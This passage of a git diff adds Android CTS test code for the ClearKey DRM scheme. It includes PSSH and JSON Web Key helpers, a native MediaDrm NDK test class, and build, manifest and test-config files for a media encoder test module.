+        handlerThread.quit();
+    }
+
+    // Converts a BMFF PSSH initData to a raw cenc initData
+    protected byte[] makeCencPSSH(UUID uuid, byte[] bmffPsshData) {
+        byte[] pssh_header = new byte[] { (byte)'p', (byte)'s', (byte)'s', (byte)'h' };
+        byte[] pssh_version = new byte[] { 1, 0, 0, 0 };
+        int boxSizeByteCount = 4;
+        int uuidByteCount = 16;
+        int dataSizeByteCount = 4;
+        // Per "W3C cenc Initialization Data Format" document:
+        // box size + 'pssh' + version + uuid + payload + size of data
+        int boxSize = boxSizeByteCount + pssh_header.length + pssh_version.length +
+            uuidByteCount + bmffPsshData.length + dataSizeByteCount;
+        int dataSize = 0;
+
+        // the default write is big-endian, i.e., network byte order
+        ByteBuffer rawPssh = ByteBuffer.allocate(boxSize);
+        rawPssh.putInt(boxSize);
+        rawPssh.put(pssh_header);
+        rawPssh.put(pssh_version);
+        rawPssh.putLong(uuid.getMostSignificantBits());
+        rawPssh.putLong(uuid.getLeastSignificantBits());
+        rawPssh.put(bmffPsshData);
+        rawPssh.putInt(dataSize);
+
+        return rawPssh.array();
+    }
+
+    /*
+     * Sets up the DRM for the first DRM scheme from the supported list.
+     *
+     * @param drmInfo DRM info of the source
+     * @param prepareDrm whether prepareDrm should be called
+     * @param synchronousNetworking whether the network operation of key request/response will
+     *        be performed synchronously
+     */
+    private void setupDrm(DrmInfo drmInfo, boolean prepareDrm, boolean synchronousNetworking,
+            int keyType) throws Exception {
+        Log.d(TAG, "setupDrm: drmInfo: " + drmInfo + " prepareDrm: " + prepareDrm +
+                " synchronousNetworking: " + synchronousNetworking);
+        try {
+            byte[] initData = null;
+            String mime = null;
+            String keyTypeStr = "Unexpected";
+
+            switch (keyType) {
+            case MediaDrm.KEY_TYPE_STREAMING:
+            case MediaDrm.KEY_TYPE_OFFLINE:
+                // DRM preparation
+                UUID[] supportedSchemes = drmInfo.getSupportedSchemes();
+                if (supportedSchemes.length == 0) {
+                    fail("setupDrm: No supportedSchemes");
+                }
+
+                // instead of supportedSchemes[0] in GTS
+                UUID drmScheme = CLEARKEY_SCHEME_UUID;
+                Log.d(TAG, "setupDrm: selected " + drmScheme);
+
+                if (prepareDrm) {
+                    mMediaPlayer.prepareDrm(drmScheme);
+                }
+
+                byte[] psshData = drmInfo.getPssh().get(drmScheme);
+                // diverging from GTS
+                if (psshData == null) {
+                    initData = CLEARKEY_PSSH;
+                    Log.d(TAG, "setupDrm: CLEARKEY scheme not found in PSSH. Using default data.");
+                } else {
+                    // Can skip conversion if ClearKey adds support for BMFF initData (b/64863112)
+                    initData = makeCencPSSH(CLEARKEY_SCHEME_UUID, psshData);
+                }
+                Log.d(TAG, "setupDrm: initData[" + drmScheme + "]: " + Arrays.toString(initData));
+
+                // diverging from GTS
+                mime = "cenc";
+
+                keyTypeStr = (keyType == MediaDrm.KEY_TYPE_STREAMING) ?
+                        "KEY_TYPE_STREAMING" : "KEY_TYPE_OFFLINE";
+                break;
+
+            case MediaDrm.KEY_TYPE_RELEASE:
+                if (mKeySetId == null) {
+                    fail("setupDrm: KEY_TYPE_RELEASE requires a valid keySetId.");
+                }
+                keyTypeStr = "KEY_TYPE_RELEASE";
+                break;
+
+            default:
+                fail("setupDrm: Unexpected keyType " + keyType);
+            }
+
+            final MediaDrm.KeyRequest request = mMediaPlayer.getKeyRequest(
+                    (keyType == MediaDrm.KEY_TYPE_RELEASE) ? mKeySetId : null,
+                    initData,
+                    mime,
+                    keyType,
+                    null /* optionalKeyRequestParameters */
+                    );
+
+            Log.d(TAG, "setupDrm: mMediaPlayer.getKeyRequest(" + keyTypeStr +
+                    ") request -> " + request);
+
+            // diverging from GTS
+            byte[][] clearKeys = new byte[][] { CLEAR_KEY_CENC };
+            byte[] response = createKeysResponse(request, clearKeys);
+
+            // null is returned when the response is for a streaming or release request.
+            byte[] keySetId = mMediaPlayer.provideKeyResponse(
+                    (keyType == MediaDrm.KEY_TYPE_RELEASE) ? mKeySetId : null,
+                    response);
+            Log.d(TAG, "setupDrm: provideKeyResponse -> " + Arrays.toString(keySetId));
+            // storing offline key for a later restore
+            mKeySetId = (keyType == MediaDrm.KEY_TYPE_OFFLINE) ? keySetId : null;
+
+        } catch (MediaPlayer.NoDrmSchemeException e) {
+            Log.d(TAG, "setupDrm: NoDrmSchemeException");
+            e.printStackTrace();
+            throw e;
+        } catch (MediaPlayer.ProvisioningNetworkErrorException e) {
+            Log.d(TAG, "setupDrm: ProvisioningNetworkErrorException");
+            e.printStackTrace();
+            throw e;
+        } catch (MediaPlayer.ProvisioningServerErrorException e) {
+            Log.d(TAG, "setupDrm: ProvisioningServerErrorException");
+            e.printStackTrace();
+            throw e;
+        } catch (UnsupportedSchemeException e) {
+            Log.d(TAG, "setupDrm: UnsupportedSchemeException");
+            e.printStackTrace();
+            throw e;
+        } catch (ResourceBusyException e) {
+            Log.d(TAG, "setupDrm: ResourceBusyException");
+            e.printStackTrace();
+            throw e;
+        } catch (Exception e) {
+            Log.d(TAG, "setupDrm: Exception " + e);
+            e.printStackTrace();
+            throw e;
+        }
+    } // setupDrm
+
+    private void setupDrmRestore(DrmInfo drmInfo, boolean prepareDrm) throws Exception {
+        Log.d(TAG, "setupDrmRestore: drmInfo: " + drmInfo + " prepareDrm: " + prepareDrm);
+        try {
+            if (prepareDrm) {
+                // DRM preparation
+                UUID[] supportedSchemes = drmInfo.getSupportedSchemes();
+                if (supportedSchemes.length == 0) {
+                    fail("setupDrmRestore: No supportedSchemes");
+                }
+
+                // instead of supportedSchemes[0] in GTS
+                UUID drmScheme = CLEARKEY_SCHEME_UUID;
+                Log.d(TAG, "setupDrmRestore: selected " + drmScheme);
+
+                mMediaPlayer.prepareDrm(drmScheme);
+            }
+
+            if (mKeySetId == null) {
+                fail("setupDrmRestore: Offline key has not been setup.");
+            }
+
+            mMediaPlayer.restoreKeys(mKeySetId);
+
+        } catch (MediaPlayer.NoDrmSchemeException e) {
+            Log.v(TAG, "setupDrmRestore: NoDrmSchemeException");
+            e.printStackTrace();
+            throw e;
+        } catch (Exception e) {
+            Log.v(TAG, "setupDrmRestore: Exception " + e);
+            e.printStackTrace();
+            throw e;
+        }
+    } // setupDrmRestore
+
+    //////////////////////////////////////////////////////////////////////////////////////////////
+    // Diverging from GTS
+
+    // Clearkey helpers
+
+    /**
+     * Convert a hex string into byte array.
+     */
+    private static byte[] hexStringToByteArray(String s) {
+        int len = s.length();
+        byte[] data = new byte[len / 2];
+        for (int i = 0; i < len; i += 2) {
+            data[i / 2] = (byte) ((Character.digit(s.charAt(i), 16) << 4) +
+                                   Character.digit(s.charAt(i + 1), 16));
+        }
+        return data;
+    }
+
+    /**
+     * Extracts key ids from the pssh blob returned by getKeyRequest() and
+     * places it in keyIds.
+     * keyRequestBlob format (section 5.1.3.1):
+     * https://dvcs.w3.org/hg/html-media/raw-file/default/encrypted-media/encrypted-media.html
+     *
+     * @return size of keyIds vector that contains the key ids, 0 for error
+     */
+    private int getKeyIds(byte[] keyRequestBlob, Vector<String> keyIds) {
+        if (0 == keyRequestBlob.length || keyIds == null) {
+            Log.e(TAG, "getKeyIds: Empty keyRequestBlob or null keyIds.");
+            return 0;
+        }
+
+        String jsonLicenseRequest = new String(keyRequestBlob);
+        keyIds.clear();
+
+        try {
+            JSONObject license = new JSONObject(jsonLicenseRequest);
+            Log.v(TAG, "getKeyIds: license: " + license);
+            final JSONArray ids = license.getJSONArray("kids");
+            Log.v(TAG, "getKeyIds: ids: " + ids);
+            for (int i = 0; i < ids.length(); ++i) {
+                keyIds.add(ids.getString(i));
+            }
+        } catch (JSONException e) {
+            Log.e(TAG, "Invalid JSON license = " + jsonLicenseRequest);
+            return 0;
+        }
+        return keyIds.size();
+    }
+
+    /**
+     * Creates the JSON Web Key string.
+     *
+     * @return JSON Web Key string.
+     */
+    private String createJsonWebKeySet(Vector<String> keyIds, Vector<String> keys) {
+        String jwkSet = "{\"keys\":[";
+        for (int i = 0; i < keyIds.size(); ++i) {
+            String id = new String(keyIds.get(i).getBytes(Charset.forName("UTF-8")));
+            String key = new String(keys.get(i).getBytes(Charset.forName("UTF-8")));
+
+            jwkSet += "{\"kty\":\"oct\",\"kid\":\"" + id +
+                    "\",\"k\":\"" + key + "\"}";
+        }
+        jwkSet += "]}";
+        return jwkSet;
+    }
+
+    /**
+     * Retrieves clear key ids from KeyRequest and creates the response in place.
+     */
+    private byte[] createKeysResponse(MediaDrm.KeyRequest keyRequest, byte[][] clearKeys) {
+
+        Vector<String> keyIds = new Vector<String>();
+        if (0 == getKeyIds(keyRequest.getData(), keyIds)) {
+            Log.e(TAG, "No key ids found in initData");
+            return null;
+        }
+
+        if (clearKeys.length != keyIds.size()) {
+            Log.e(TAG, "Mismatch number of key ids and keys: ids=" +
+                    keyIds.size() + ", keys=" + clearKeys.length);
+            return null;
+        }
+
+        // Base64 encodes clearkeys. Keys are known to the application.
+        Vector<String> keys = new Vector<String>();
+        for (int i = 0; i < clearKeys.length; ++i) {
+            String clearKey = Base64.encodeToString(clearKeys[i],
+                    Base64.NO_PADDING | Base64.NO_WRAP);
+            keys.add(clearKey);
+        }
+
+        String jwkSet = createJsonWebKeySet(keyIds, keys);
+        byte[] jsonResponse = jwkSet.getBytes(Charset.forName("UTF-8"));
+
+        return jsonResponse;
+    }
+
+    //////////////////////////////////////////////////////////////////////////////////////////////
+    // Playback/download helpers
+
+    private static class MediaDownloadManager {
+        private static final String TAG = "MediaDownloadManager";
+
+        private final Context mContext;
+        private final DownloadManager mDownloadManager;
+
+        public MediaDownloadManager(Context context) {
+            mContext = context;
+            mDownloadManager =
+                    (DownloadManager) mContext.getSystemService(Context.DOWNLOAD_SERVICE);
+        }
+
+        public long downloadFileWithRetries(Uri uri, Uri file, long timeout, int retries)
+            throws Exception {
+            long id = -1;
+            for (int i = 0; i < retries; i++) {
+                try {
+                    id = downloadFile(uri, file, timeout);
+                    if (id != -1) {
+                        break;
+                    }
+                } catch (Exception e) {
+                    removeFile(id);
+                    Log.w(TAG, "Download failed " + i + " times ");
+                }
+            }
+            return id;
+        }
+
+        public long downloadFile(Uri uri, Uri file, long timeout) throws Exception {
+            Log.i(TAG, "uri:" + uri + " file:" + file + " wait:" + timeout + " Secs");
+            final DownloadReceiver receiver = new DownloadReceiver();
+            long id = -1;
+            try {
+                IntentFilter intentFilter =
+                        new IntentFilter(DownloadManager.ACTION_DOWNLOAD_COMPLETE);
+                mContext.registerReceiver(receiver, intentFilter);
+
+                Request request = new Request(uri);
+                request.setDestinationUri(file);
+                id = mDownloadManager.enqueue(request);
+                Log.i(TAG, "enqueue:" + id);
+
+                receiver.waitForDownloadComplete(timeout, id);
+            } finally {
+                mContext.unregisterReceiver(receiver);
+            }
+            return id;
+        }
+
+        public void removeFile(long id) {
+            Log.i(TAG, "removeFile:" + id);
+            mDownloadManager.remove(id);
+        }
+
+        public Uri getUriForDownloadedFile(long id) {
+            return mDownloadManager.getUriForDownloadedFile(id);
+        }
+
+        private final class DownloadReceiver extends BroadcastReceiver {
+            private HashSet<Long> mCompleteIds = new HashSet<>();
+
+            public DownloadReceiver() {
+            }
+
+            @Override
+            public void onReceive(Context context, Intent intent) {
+                synchronized (mCompleteIds) {
+                    if (DownloadManager.ACTION_DOWNLOAD_COMPLETE.equals(intent.getAction())) {
+                        mCompleteIds.add(
+                                intent.getLongExtra(DownloadManager.EXTRA_DOWNLOAD_ID, -1));
+                        mCompleteIds.notifyAll();
+                    }
+                }
+            }
+
+            private boolean isCompleteLocked(long... ids) {
+                for (long id : ids) {
+                    if (!mCompleteIds.contains(id)) {
+                        return false;
+                    }
+                }
+                return true;
+            }
+
+            public void waitForDownloadComplete(long timeoutSecs, long... waitForIds)
+                throws InterruptedException {
+                if (waitForIds.length == 0) {
+                    throw new IllegalArgumentException("Missing IDs to wait for");
+                }
+
+                final long startTime = SystemClock.elapsedRealtime();
+                do {
+                    synchronized (mCompleteIds) {
+                        mCompleteIds.wait(1000);
+                        if (isCompleteLocked(waitForIds)) {
+                            return;
+                        }
+                    }
+                } while ((SystemClock.elapsedRealtime() - startTime) < timeoutSecs * 1000);
+
+                throw new InterruptedException("Timeout waiting for IDs " +
+                        Arrays.toString(waitForIds) + "; received " + mCompleteIds.toString()
+                        + ".  Make sure you have WiFi or some other connectivity for this test.");
+            }
+        }
+
+    }  // MediaDownloadManager
+
+}
diff --git a/tests/tests/media/drmframework/src/android/media/drmframework/cts/NativeMediaDrmClearkeyTest.java b/tests/tests/media/drmframework/src/android/media/drmframework/cts/NativeMediaDrmClearkeyTest.java
new file mode 100644
index 0000000..e438c25
--- /dev/null
+++ b/tests/tests/media/drmframework/src/android/media/drmframework/cts/NativeMediaDrmClearkeyTest.java
@@ -0,0 +1,309 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.media.drmframework.cts;
+
+import android.content.pm.PackageManager;
+import android.media.MediaDrm;
+import android.media.cts.ConnectionStatus;
+import android.media.cts.IConnectionStatus;
+import android.media.cts.MediaCodecBlockModelHelper;
+import android.media.cts.Utils;
+import android.net.Uri;
+import android.platform.test.annotations.AppModeFull;
+import android.util.Log;
+import android.view.Surface;
+
+import com.android.compatibility.common.util.ApiLevelUtil;
+import com.android.compatibility.common.util.MediaUtils;
+import com.google.android.collect.Lists;
+
+import java.nio.ByteBuffer;
+import java.util.ArrayList;
+import java.util.UUID;
+
+import static org.junit.Assert.assertThat;
+import static org.junit.matchers.JUnitMatchers.containsString;
+
+/**
+ * Tests MediaDrm NDK APIs. ClearKey system uses a subset of NDK APIs,
+ * this test only tests the APIs that are supported by ClearKey system.
+ */
+@AppModeFull(reason = "TODO: evaluate and port to instant")
+public class NativeMediaDrmClearkeyTest extends MediaPlayerDrmTestBase {
+    private static final String TAG = NativeMediaDrmClearkeyTest.class.getSimpleName();
+
+    private static final int CONNECTION_RETRIES = 10;
+    private static final int VIDEO_WIDTH_CENC = 1280;
+    private static final int VIDEO_HEIGHT_CENC = 720;
+    private static final String ISO_BMFF_VIDEO_MIME_TYPE = "video/avc";
+    private static final String ISO_BMFF_AUDIO_MIME_TYPE = "audio/avc";
+    private static final String CENC_AUDIO_PATH =
+            "/clear/h264/llama/llama_aac_audio.mp4";
+
+    private static final String CENC_CLEARKEY_VIDEO_PATH =
+            "/clearkey/llama_h264_main_720p_8000.mp4";
+
+    private static final int UUID_BYTE_SIZE = 16;
+    private static final UUID COMMON_PSSH_SCHEME_UUID =
+            new UUID(0x1077efecc0b24d02L, 0xace33c1e52e2fb4bL);
+    private static final UUID CLEARKEY_SCHEME_UUID =
+            new UUID(0xe2719d58a985b3c9L, 0x781ab030af78d30eL);
+    private static final UUID BAD_SCHEME_UUID =
+            new UUID(0xffffffffffffffffL, 0xffffffffffffffffL);
+
+    static {
+        try {
+            System.loadLibrary("mediadrm_jni");
+        } catch (UnsatisfiedLinkError e) {
+            Log.e(TAG, "NativeMediaDrmClearkeyTest: Error loading JNI library");
+            e.printStackTrace();
+        }
+        try {
+            System.loadLibrary("mediandk");
+        } catch (UnsatisfiedLinkError e) {
+            Log.e(TAG, "NativeMediaDrmClearkeyTest: Error loading JNI library");
+            e.printStackTrace();
+        }
+    }
+
+    public static class PlaybackParams {
+        public Surface surface;
+        public String mimeType;
+        public String audioUrl;
+        public String videoUrl;
+    }
+
+    protected void setUp() throws Exception {
+        super.setUp();
+        if (false == deviceHasMediaDrm()) {
+            tearDown();
+        }
+    }
+
+    protected void tearDown() throws Exception {
+        super.tearDown();
+    }
+
+    private boolean watchHasNoClearkeySupport() {
+        if (!MediaDrm.isCryptoSchemeSupported(CLEARKEY_SCHEME_UUID)) {
+            if (isWatchDevice()) {
+                return true;
+            } else {
+                throw new Error("Crypto scheme is not supported");
+            }
+        }
+        return false;
+    }
+
+    private boolean isWatchDevice() {
+        return mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_WATCH);
+    }
+
+    private boolean deviceHasMediaDrm() {
+        // ClearKey is introduced after KitKat.
+        if (ApiLevelUtil.isAtMost(android.os.Build.VERSION_CODES.KITKAT)) {
+            return false;
+        }
+        return true;
+    }
+
+    private static final byte[] uuidByteArray(UUID uuid) {
+        ByteBuffer buffer = ByteBuffer.wrap(new byte[UUID_BYTE_SIZE]);
+        buffer.putLong(uuid.getMostSignificantBits());
+        buffer.putLong(uuid.getLeastSignificantBits());
+        return buffer.array();
+    }
+
+    public void testIsCryptoSchemeSupported() throws Exception {
+        if (watchHasNoClearkeySupport()) {
+            return;
+        }
+
+        assertTrue(isCryptoSchemeSupportedNative(uuidByteArray(COMMON_PSSH_SCHEME_UUID)));
+        assertTrue(isCryptoSchemeSupportedNative(uuidByteArray(CLEARKEY_SCHEME_UUID)));
+    }
+
+    public void testIsCryptoSchemeNotSupported() throws Exception {
+        assertFalse(isCryptoSchemeSupportedNative(uuidByteArray(BAD_SCHEME_UUID)));
+    }
+
+    public void testPssh() throws Exception {
+        // The test uses a canned PSSH that contains the common box UUID.
+        assertTrue(testPsshNative(uuidByteArray(COMMON_PSSH_SCHEME_UUID),
+                Uri.parse(Utils.getMediaPath() + CENC_CLEARKEY_VIDEO_PATH).toString()));
+    }
+
+    public void testQueryKeyStatus() throws Exception {
+        if (watchHasNoClearkeySupport()) {
+            return;
+        }
+
+        assertTrue(testQueryKeyStatusNative(uuidByteArray(CLEARKEY_SCHEME_UUID)));
+    }
+
+    public void testFindSessionId() throws Exception {
+        if (watchHasNoClearkeySupport()) {
+            return;
+        }
+
+        assertTrue(testFindSessionIdNative(uuidByteArray(CLEARKEY_SCHEME_UUID)));
+    }
+
+    public void testGetPropertyString() throws Exception {
+        if (watchHasNoClearkeySupport()) {
+            return;
+        }
+
+        StringBuffer value = new StringBuffer();
+        testGetPropertyStringNative(uuidByteArray(CLEARKEY_SCHEME_UUID), "description", value);
+        assertEquals("ClearKey CDM", value.toString());
+
+        value.delete(0, value.length());
+        testGetPropertyStringNative(uuidByteArray(CLEARKEY_SCHEME_UUID), "description", value);
+        assertEquals("ClearKey CDM", value.toString());
+    }
+
+    public void testPropertyByteArray() throws Exception {
+        if (watchHasNoClearkeySupport()) {
+            return;
+        }
+
+        assertTrue(testPropertyByteArrayNative(uuidByteArray(CLEARKEY_SCHEME_UUID)));
+    }
+
+    public void testUnknownPropertyString() throws Exception {
+        StringBuffer value = new StringBuffer();
+
+        try {
+            testGetPropertyStringNative(uuidByteArray(CLEARKEY_SCHEME_UUID),
+                    "unknown-property", value);
+            fail("Should have thrown an exception");
+        } catch (RuntimeException e) {
+            Log.e(TAG, "testUnknownPropertyString error = '" + e.getMessage() + "'");
+            assertThat(e.getMessage(), containsString("get property string returns"));
+        }
+
+        value.delete(0, value.length());
+        try {
+            testGetPropertyStringNative(uuidByteArray(CLEARKEY_SCHEME_UUID),
+                    "unknown-property", value);
+            fail("Should have thrown an exception");
+        } catch (RuntimeException e) {
+            Log.e(TAG, "testUnknownPropertyString error = '" + e.getMessage() + "'");
+            assertThat(e.getMessage(), containsString("get property string returns"));
+        }
+    }
+
+    /**
+     * Tests native clear key system playback.
+     */
+    private void testClearKeyPlayback(
+            UUID drmSchemeUuid, String mimeType, /*String initDataType,*/ Uri audioUrl, Uri videoUrl,
+            int videoWidth, int videoHeight) throws Exception {
+
+        if (isWatchDevice()) {
+            return;
+        }
+
+        if (!isCryptoSchemeSupportedNative(uuidByteArray(drmSchemeUuid))) {
+            throw new Error("Crypto scheme is not supported.");
+        }
+
+        IConnectionStatus connectionStatus = new ConnectionStatus(mContext);
+        if (!connectionStatus.isAvailable()) {
+            throw new Error("Network is not available, reason: " +
+                    connectionStatus.getNotConnectedReason());
+        }
+
+        // If device is not online, recheck the status a few times.
+        int retries = 0;
+        while (!connectionStatus.isConnected()) {
+            if (retries++ >= CONNECTION_RETRIES) {
+                throw new Error("Device is not online, reason: " +
+                        connectionStatus.getNotConnectedReason());
+            }
+            try {
+                Thread.sleep(100);
+            } catch (InterruptedException e) {
+                // do nothing
+            }
+        }
+        connectionStatus.testConnection(videoUrl);
+
+        if (!MediaUtils.checkCodecsForPath(mContext, videoUrl.toString())) {
+            Log.i(TAG, "Device does not support " +
+                  videoWidth + "x" + videoHeight + " resolution for " + mimeType);
+            return;  // skip
+        }
+
+        PlaybackParams params = new PlaybackParams();
+        params.surface = mActivity.getSurfaceHolder().getSurface();
+        params.mimeType = mimeType;
+        params.audioUrl = audioUrl.toString();
+        params.videoUrl = videoUrl.toString();
+
+        if (!testClearKeyPlaybackNative(
+            uuidByteArray(drmSchemeUuid), params)) {
+            Log.e(TAG, "Fails play back using native media drm APIs.");
+        }
+        params.surface.release();
+    }
+
+    private ArrayList<Integer> intVersion(String version) {
+        String versions[] = version.split("\\.");
+
+        ArrayList<Integer> versionNumbers = Lists.newArrayList();
+        for (String subVersion : versions) {
+            versionNumbers.add(Integer.parseInt(subVersion));
+        }
+        return versionNumbers;
+    }
+
+    private static native boolean isCryptoSchemeSupportedNative(final byte[] uuid);
+
+    private static native boolean testClearKeyPlaybackNative(final byte[] uuid,
+            PlaybackParams params);
+
+    private static native boolean testFindSessionIdNative(final byte[] uuid);
+
+    private static native boolean testGetPropertyStringNative(final byte[] uuid,
+            final String name, StringBuffer value);
+
+    private static native boolean testPropertyByteArrayNative(final byte[] uuid);
+
+    private static native boolean testPsshNative(final byte[] uuid, final String videoUrl);
+
+    private static native boolean testQueryKeyStatusNative(final byte[] uuid);
+
+    public void testClearKeyPlaybackCenc() throws Exception {
+        testClearKeyPlayback(
+            COMMON_PSSH_SCHEME_UUID,
+            ISO_BMFF_VIDEO_MIME_TYPE,
+            Uri.parse(Utils.getMediaPath() + CENC_AUDIO_PATH),
+            Uri.parse(Utils.getMediaPath() + CENC_CLEARKEY_VIDEO_PATH),
+            VIDEO_WIDTH_CENC, VIDEO_HEIGHT_CENC);
+    }
+
+    public void testClearKeyPlaybackCenc2() throws Exception {
+        testClearKeyPlayback(
+            CLEARKEY_SCHEME_UUID,
+            ISO_BMFF_VIDEO_MIME_TYPE,
+            Uri.parse(Utils.getMediaPath() + CENC_AUDIO_PATH),
+            Uri.parse(Utils.getMediaPath() + CENC_CLEARKEY_VIDEO_PATH),
+            VIDEO_WIDTH_CENC, VIDEO_HEIGHT_CENC);
+    }
+}
+
diff --git a/tests/tests/media/drmframework/src/android/media/drmframework/cts/WorkDir.java b/tests/tests/media/drmframework/src/android/media/drmframework/cts/WorkDir.java
new file mode 100644
index 0000000..5636d63
--- /dev/null
+++ b/tests/tests/media/drmframework/src/android/media/drmframework/cts/WorkDir.java
@@ -0,0 +1,25 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.drmframework.cts;
+
+import android.media.cts.WorkDirBase;
+
+class WorkDir extends WorkDirBase {
+    public static final String getMediaDirString() {
+        return getMediaDirString("CtsMediaDrmFrameworkTestCases-1.0");
+    }
+}
diff --git a/tests/tests/media/encoder/Android.bp b/tests/tests/media/encoder/Android.bp
new file mode 100644
index 0000000..cd860cc
--- /dev/null
+++ b/tests/tests/media/encoder/Android.bp
@@ -0,0 +1,64 @@
+// Copyright (C) 2021 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+    // See: http://go/android-license-faq
+    default_applicable_licenses: [
+        "Android-Apache-2.0",
+        "cts_tests_tests_media_license",
+    ],
+}
+
+android_test {
+    name: "CtsMediaEncoderTestCases",
+    defaults: ["cts_defaults"],
+    // include both the 32 and 64 bit versions
+    compile_multilib: "both",
+    static_libs: [
+        "ctstestrunner-axt",
+        "cts-media-common",
+    ],
+    jni_libs: [
+        "libctscodecutils_jni"
+    ],
+    aaptflags: [
+      // Do not compress these files:
+        "-0 .vp9",
+        "-0 .ts",
+        "-0 .heic",
+        "-0 .trp",
+        "-0 .ota",
+        "-0 .mxmf",
+    ],
+    srcs: [
+        "src/**/*.java",
+        "aidl/**/*.aidl",
+    ],
+    // This test uses private APIs
+    platform_apis: true,
+    jni_uses_sdk_apis: true,
+    libs: [
+        "org.apache.http.legacy",
+        "android.test.base",
+        "android.test.runner",
+    ],
+    test_suites: [
+        "cts",
+        "general-tests",
+        "mts-media",
+    ],
+    host_required: ["cts-dynamic-config"],
+    min_sdk_version: "29",
+    target_sdk_version: "31",
+}
diff --git a/tests/tests/media/encoder/AndroidManifest.xml b/tests/tests/media/encoder/AndroidManifest.xml
new file mode 100644
index 0000000..b6d56f3
--- /dev/null
+++ b/tests/tests/media/encoder/AndroidManifest.xml
@@ -0,0 +1,45 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2021 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+     package="android.media.encoder.cts"
+     android:targetSandboxVersion="2">
+
+    <uses-sdk android:minSdkVersion="29"
+         android:targetSdkVersion="31"/>
+
+    <uses-permission android:name="android.permission.WAKE_LOCK"/>
+    <uses-permission android:name="android.permission.FOREGROUND_SERVICE"/>
+    <uses-permission android:name="android.permission.INSTANT_APP_FOREGROUND_SERVICE"/>
+
+    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
+    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
+    <uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE"/>
+
+    <application android:requestLegacyExternalStorage="true"
+         android:largeHeap="true">
+        <uses-library android:name="android.test.runner"/>
+
+    </application>
+
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:targetPackage="android.media.encoder.cts"
+         android:label="CTS tests of android.media">
+        <meta-data android:name="listener"
+             android:value="com.android.cts.runner.CtsTestRunListener"/>
+    </instrumentation>
+
+</manifest>
diff --git a/tests/tests/media/encoder/AndroidTest.xml b/tests/tests/media/encoder/AndroidTest.xml
new file mode 100644
index 0000000..4de5615
--- /dev/null
+++ b/tests/tests/media/encoder/AndroidTest.xml
@@ -0,0 +1,62 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2021 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS Media test cases">
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="media" />
+    <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <target_preparer class="com.android.tradefed.targetprep.DeviceSetup">
+        <option name="force-skip-system-props" value="true" /> <!-- avoid restarting device -->
+        <option name="set-test-harness" value="false" />
+        <option name="screen-always-on" value="on" />
+        <option name="screen-adaptive-brightness" value="off" />
+        <option name="disable-audio" value="false"/>
+        <option name="screen-saver" value="off"/>
+    </target_preparer>
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher">
+        <option name="target" value="host" />
+        <option name="config-filename" value="CtsMediaEncoderTestCases" />
+        <option name="dynamic-config-name" value="CtsMediaEncoderTestCases" />
+        <option name="version" value="1.0"/>
+    </target_preparer>
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher">
+        <option name="target" value="device" />
+        <option name="config-filename" value="CtsMediaEncoderTestCases" />
+        <option name="version" value="1.0"/>
+    </target_preparer>
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.MediaPreparer">
+        <option name="push-all" value="true" />
+        <option name="media-folder-name" value="CtsMediaEncoderTestCases-1.0" />
+        <option name="dynamic-config-module" value="CtsMediaEncoderTestCases" />
+    </target_preparer>
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsMediaEncoderTestCases.apk" />
+    </target_preparer>
